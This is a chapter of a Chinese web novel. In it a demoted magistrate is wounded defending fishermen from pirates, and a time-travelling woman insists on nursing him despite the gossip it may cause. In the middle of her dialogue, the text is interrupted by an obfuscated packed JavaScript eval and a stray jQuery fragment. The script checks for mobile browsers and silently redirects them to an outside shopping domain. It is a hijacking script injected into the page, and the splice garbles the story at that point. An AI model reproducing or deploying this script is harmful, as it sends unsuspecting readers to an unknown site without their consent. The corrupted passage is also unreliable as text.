田言真脚步一顿,闻声回头。
只见林乘风站在灯火之下,身形清瘦,看向她的眼神灼灼,感觉他是攒了很久的勇气才问出的这个问题。
田言真愣了一下,摇摇头,“没有,我在我家乡的时候,每天都很忙的,工作从早到晚都排满了,哪有空余的时间去谈恋爱啊,我忙的连喜欢人的时间都没有。我家乡那边非常卷,大家都在拼命的活着,有时候我也挺羡慕你们这里的。感觉大家都很简单,只要吃饱了,好像就没有烦恼了呢!”
田言真心道,主要是公司歪瓜裂枣太多,这么俊俏的公子,哪儿是天天能见到的,谁让自己还是个颜控呢!
田言真的话,像温柔的晚风撞见了他的心口,让他觉得温柔又舒畅。
“原来如此,田姑娘,夜里风凉,关好门窗,早点歇息。”
“嗯,林大人也是!”
田言真点了点头,就回了厢房。
林乘风一人停留在院中,站在榕树下,久久未东,桂花的香气随着晚风一阵一阵的沁入他的心间,让他觉得无比温柔。晚风浮动着他的衣袂,细碎花瓣簌簌飘落,落满他肩头,落在石桌上,落在石板路上,也落在了他的心里。
林乘风想,如果是在京中,如果没有被贬,他还在翰林院,那么他一定向父母禀明,可是现在不行。自己本就是戴罪只身,不能连累田姑娘,如果能重返京中,他一定会跟田姑娘告白,做一个为自己婚姻争取的人。
今夜,林乘风满心欢喜,一夜安睡。
接下来几日,大家都各自忙碌着。
短短数十日的时光,闫旭带着村里的渔民,就建好了一艘中型的商船,这艘船跟之前渔民用的老旧舢板想比,坚固许多,可以进行远距离的外海捕捞,也可以大大增加渔民的捕渔产量了。
全村的人都欣喜不已。这么多年了,这个村子就没有属于自己的商用船,大家都对他们越来越敬重,也越来越信任。
这日恰逢林乘风海岛巡检的日子,在本朝,朝廷下派的巡检是要定期出海巡查,稽查海域治安的。
以往林乘风去驯海,村民已经是安排村里最好的舢板船了,但依旧是颠簸危险的,这一次,他可以搭乘闫旭他们新造好的商船,村长又安排了几个经验丰富的渔民陪林大人一道出海,这次出行林乘风想看看这个商船到底怎么样,是否真的像肖庆欢和闫旭他们之前承诺的那样,性能是否靠谱。
巡检那一天,渔村百姓和肖庆欢一行人在滩头目送商船杨帆远航,闫旭陪同林大人此行。
刚出行的时候,一副风平浪静的模样,林乘风在新船上踱来踱去,研究商船的用途,闫旭给林大人一项一项解释,他修建的商船,再熟悉不过了。
行至航程一半时,天色暗了下来,忽然两艘隐匿在礁石后面的近海海盗快船朝他们驶来,海盗凶悍蛮横,常年掠夺过往的渔船、商船,见岛上有新船驶来,想必又是可以夺取货物了。
渔民也偶尔会遇到海盗,海岛也不是所有人都抢,看见是破败的老旧船,也是放行的,闫旭赶忙让渔民拿起提前安排好的带刀的木枪抵御,渔民大都是老实本分的海边人,哪里见过这样的阵仗,大家都有些慌乱,只见一名年纪尚轻的渔民与海盗持刀对打,一个海盗在他侧方直至身前,眼看利刃就要落在少年身上,千钧一发之际,一道青衣身影挡在了少年前面。
不是林乘风又是谁。
林乘风脚步极快,直接把少年拽到他的身后,自己挺身相护,海岛的利刃直直的划开了他的胸前的衣料,只听噗呲的一声,刺入了皮肉。
只见林乘风的青衣瞬间染红。
“大人!!!”
闫旭大声惊呼。
林乘风忍着痛不退缩,依旧牢牢的保护者身后的少年,渔民们越战越勇,海盗也只是想抢货,见伤了人,也没看到船上有什么货物,就赶紧返航了,消失在夜间。
闫旭赶紧让渔民返航,待船停下之后,闫旭搀扶着受伤的林大人下来,村民和田言真他们看到林大人这副模样,都大惊失色。
林乘风被众人搀扶着回到了青石院子,因为失血,他的脸色愈加苍白,只见他唇色泛白,胸口还隐隐的渗血,还强撑着安慰别人,让大家不用过于担心。
村长把渔村的老医者带来诊治,老大夫剪碎衣服,细细查看了伤口后松了口气,对众人安抚道:“万幸万幸啊,林大人吉人自有天相,刀口看着深,出血量也不小,但是刀伤却未曾伤及心肺要害,暂无性命之忧。只是因为刀口不浅,还是得保证不能发炎感染,需要精心呵护,万分仔细的看护,要不然发热溃烂,后果就不堪设想了!”
大家听完,心口一紧,岛上本就炎热,都担心林人大熬不过。
傅雅芝突然想到一物,他们六个人当初本是出海度假,她旅游出门就会携带急救箱,里面有一些急救的药物,消炎药,抗生素、止痛片、碘伏、纱布、维生素,这些基本药物都在急救箱里。
这在现代,就是普通的不能再普通的药物,没想到穿越过来,这居然成了就明的法宝。
傅雅芝对着林大人说道:“大人不用担心,我们有法子救你。”
傅雅芝回到厢房,立刻取来随她一起穿越而来的急救箱,这是我从家乡带来的药物,田言真一看,"雅芝姐,你居然带着这个!林大人真的是运气太好了!"
周敏敏看着也笑着说:“林大人好人自有好报!”
傅雅芝赶紧取出药物给林大人消毒包扎好伤口,让他也吃了消炎药。
晚上,六个人商议了起来,现在大家在林大人的院子住着,当然照顾林大人是他们一起的责任,但是田言真考虑到肖总、闫旭、谭思唯他们几个不仅要建造渔船,还得维护、修改渔船,陆合食铺离不开周敏敏,雇来的伙计只能打打杂;傅雅芝还得再学堂教大家认字,学常识,大家都有事情做,且不能停下来。
田言真对大家说:“肖总,你们都忙自己的事情去,咱们既然开了头,就不能停下来,百姓对咱们都有期待,林大人的钱也砸进去了,咱们不能失败,你们好好干,好好去忙去,我来负责林大人的伤势和起居,我保证把他照顾好,不留下后遗症。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732130|208754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
其余五个人都点点头,周敏敏拉着田言真的手说:“铺子熬汤方便,你熬什么告诉我,我给你在铺子熬好,或者林大人想吃什么,你过来告诉我,我在铺子做,你一个人忙不过来了,就告诉我。”
“不用的,敏敏姐,我能行的”田言真感激的摇摇头,“这都是小事。”
待他们五人去歇息后,田言真留下来照顾林乘风。
田言真看着林乘风胸口染红的衣衫,想到闫旭说他为了保护渔民的英勇,想到他挡道模样,心口突然狠狠被什么东西一揪,密密麻麻的心疼突然席卷全身。
她突然害怕起来,万一刺的就是重要位置呢?
这是,林乘风迷迷糊糊的醒来:“田姑娘,你怎么还没去歇息?”
“今晚,我就在你房里照顾你,老大夫说了,要小心照顾,不能长时间发热。”
“不行,不行,你是一个未出阁的女儿家,这样在我屋里待一晚,对你明节有损!”
“明节?”田言真笑了笑,“林大人,我们家乡那边,不会对照顾人的人议论这个东西。”
“可是,这里不是你的家乡,我是一个男人,我不怕,你是女儿身,如果比别人知道,村里的人会议论你的。”
“林大人,你是为了救渔民受伤的,我是为了照顾你,他们如果议论,是他们不懂感恩,我问心无愧,”田言真给林乘风又倒了一本水递给她,“何况,我根本不看重那个东西。”
“不看重?”
“一个人的清白是重要,但是要看在哪些事情上,在你这件事情上,我不在乎。”
“田姑娘……”
林乘风望着田言真的模样,心口突然又酸又涩,他喉间微微发紧。他一生恪守礼教、谨言慎行,一辈子最看重名声清白,可此刻看着这个全然不顾世俗闲话的姑娘,所有的规矩束缚,仿佛都变得轻飘飘不值一提。
林乘风带着沙哑的声音道:“可是,我终究不能害你,流言蜚语,最是伤人,你这般坦荡的姑娘,不应该因为我被人指指点点。”
林乘风觉得自己半生沉浮,被人栽赃诋毁被贬,自己早就不在乎了,可是舍不得这么美好的女子因为他沾染闲言碎语。
田言真看着他,突然笑了:“林大人,你为了素不相识的人,都敢活出性命,我不过是守着你养伤,命都敢丢的人,居然怕留言?”
更何况,田言真心想:我田某人还怕流言?谁还不是个人精了……
林乘风怔怔望着她,心口翻涌着滚烫的暖意,浓烈的情愫快要压抑不住,他极力压抑着疯狂的心动。
“快别想了,你现在就是好好养伤,你好了,我就不用白天黑夜的守着你了,闲话也好,名声也好,都没有你的安危重要!”
林乘风吃了田言真递过来的白色的物体,田言真告诉他是他们家乡的药。然后躺下,又看了眼田言真,眼眶发红。
“你乖乖躺好,别乱动,牵扯到伤口又要疼了。夜里我就在外榻守着,你但凡发热、疼得厉害,随时喊我。”
“言真,谢谢你!”